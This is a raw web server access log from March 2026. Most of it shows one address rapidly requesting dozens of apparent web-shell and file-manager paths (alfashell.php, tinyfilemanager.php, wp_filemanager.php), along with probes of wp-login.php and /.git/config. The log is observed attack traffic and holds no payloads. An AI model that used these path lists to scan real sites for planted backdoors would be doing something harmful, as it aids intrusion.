209.87.169.204 - - [22/Mar/2026:21:48:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 20.151.11.236 - - [22/Mar/2026:22:59:21 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:00:07 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:02:01 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:02:26 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:02:40 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:04:14 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:09 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:25 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:25 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:06:30 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:06:45 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:08:41 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:54 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:01 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:23 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:33 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:10 +0300] "GET /file52.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:52 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:23 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:42 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:38 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:24:12 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 124.156.225.181 - - [22/Mar/2026:22:42:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.11.236 - - [22/Mar/2026:22:58:58 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:35 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:44 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:51 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:08:25 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:08:25 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:29 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:16 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:37 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:17 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:21:20 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:21:47 +0300] "GET /vanta.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:01:35 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:02:50 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:03:15 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:03:44 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:03:59 +0300] "GET //path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:06:58 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:32 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:58 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:12 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:37 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:48 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:53 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:00 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:20 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:39 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:45 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:45 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:00 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:47 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:54 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:43 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:14 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:30 +0300] "GET /about3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:45 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:48 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:19 +0300] "GET /blurbs15.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:42 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:56 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:24:21 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:00:37 +0300] "GET /1998.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:01:15 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:03:29 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:41 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:29 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:33 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:48 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:39 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:05 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:07 +0300] "GET /fffff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:23 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:21:07 +0300] "GET /enclas.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:21:32 +0300] "GET /aves.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:04 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:12 +0300] "GET /file51.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:29 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:00:22 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:01:00 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:02:16 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:04:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:04:56 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:12 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:08:10 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:08:56 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:56 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:59 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:14 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:41 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:46 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:09 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:18 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:17:31 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:10 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:00 +0300] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:33 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:46 +0300] "GET /lites.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:21:57 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:22 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:22:58:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:22:59:31 +0300] "GET /read.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:22:59:52 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:00:45 +0300] "GET //wp-mter.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:03:05 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:06:11 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:18 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:35 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:19 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:22 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:16 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:12 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:15:50 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:43 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:55 +0300] "GET /sdm.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:52 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:56 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 85.137.48.167 - - [22/Mar/2026:22:48:41 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 20.151.11.236 - - [22/Mar/2026:22:59:40 +0300] "GET /wp-kd4xalrg7m.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:01:21 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:04:29 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:17 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:49 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:10:49 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:49 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:58 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:58 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:23 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:36 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:36 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:01 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:01 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:13:22 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:29 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:34 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:29 +0300] "GET /efile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:34 +0300] "GET /afile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:40 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:24:02 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 88.17.29.148 - - [22/Mar/2026:22:21:09 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.11.236 - - [22/Mar/2026:22:59:11 +0300] "GET /xocx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:01:46 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:14 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:05:56 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:06:22 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:07:58 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:11 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:42 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:09:43 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:04 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:11:04 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:04 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:12:04 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:24 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:14:24 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:16:26 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:18:32 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:13 +0300] "GET /thh.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:48 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:52 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:55 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:19:58 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:54 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:20:57 +0300] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:22:14 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [22/Mar/2026:23:23:35 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 85.8.130.59 - - [23/Mar/2026:00:07:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 31.171.130.31 - - [23/Mar/2026:00:14:10 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 78.41.63.2 - - [22/Mar/2026:23:47:29 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15" 78.41.63.2 - - [22/Mar/2026:23:47:29 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 170.106.140.110 - - [22/Mar/2026:23:42:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.175.111.245 - - [23/Mar/2026:00:53:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 192.175.111.239 - - [23/Mar/2026:00:53:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.116 - - [23/Mar/2026:01:02:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.113 - - [23/Mar/2026:01:02:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 192.175.111.229 - - [23/Mar/2026:02:07:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 192.175.111.246 - - [23/Mar/2026:02:07:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.124 - - [23/Mar/2026:01:02:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 87.106.187.36 - - [23/Mar/2026:01:19:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.de/search?q=wordpress" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 115.45.43.182 - - [23/Mar/2026:00:55:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.3382.53 Safari/537.36 Edge/18.18362" 64.15.129.125 - - [23/Mar/2026:01:02:22 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.119 - - [23/Mar/2026:00:53:25 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.117 - - [23/Mar/2026:02:07:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.119 - - [23/Mar/2026:00:53:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.121 - - [23/Mar/2026:01:02:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 64.15.129.120 - - [23/Mar/2026:00:53:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 220.181.108.176 - - [23/Mar/2026:02:02:58 +0300] "GET /salary-advance-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 192.175.111.238 - - [23/Mar/2026:02:07:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 45.94.31.76 - - [23/Mar/2026:02:16:08 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 49.235.136.28 - - [23/Mar/2026:03:08:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.178.110.199 - - [23/Mar/2026:02:15:41 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 87.106.187.36 - - [23/Mar/2026:02:35:06 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 47.128.46.123 - - [23/Mar/2026:02:32:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 45.94.31.76 - - [23/Mar/2026:02:15:37 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.94.31.76 - - [23/Mar/2026:02:15:52 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 172.191.49.89 - - [23/Mar/2026:04:16:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.77.150.124 - - [23/Mar/2026:04:09:38 +0300] "GET / HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0" 43.159.139.164 - - [23/Mar/2026:04:26:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.145.73 - - [23/Mar/2026:05:15:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.104.19.195 - - [23/Mar/2026:04:48:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 80.94.95.173 - - [23/Mar/2026:08:00:33 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 46.8.22.240 - - [23/Mar/2026:08:28:31 +0300] 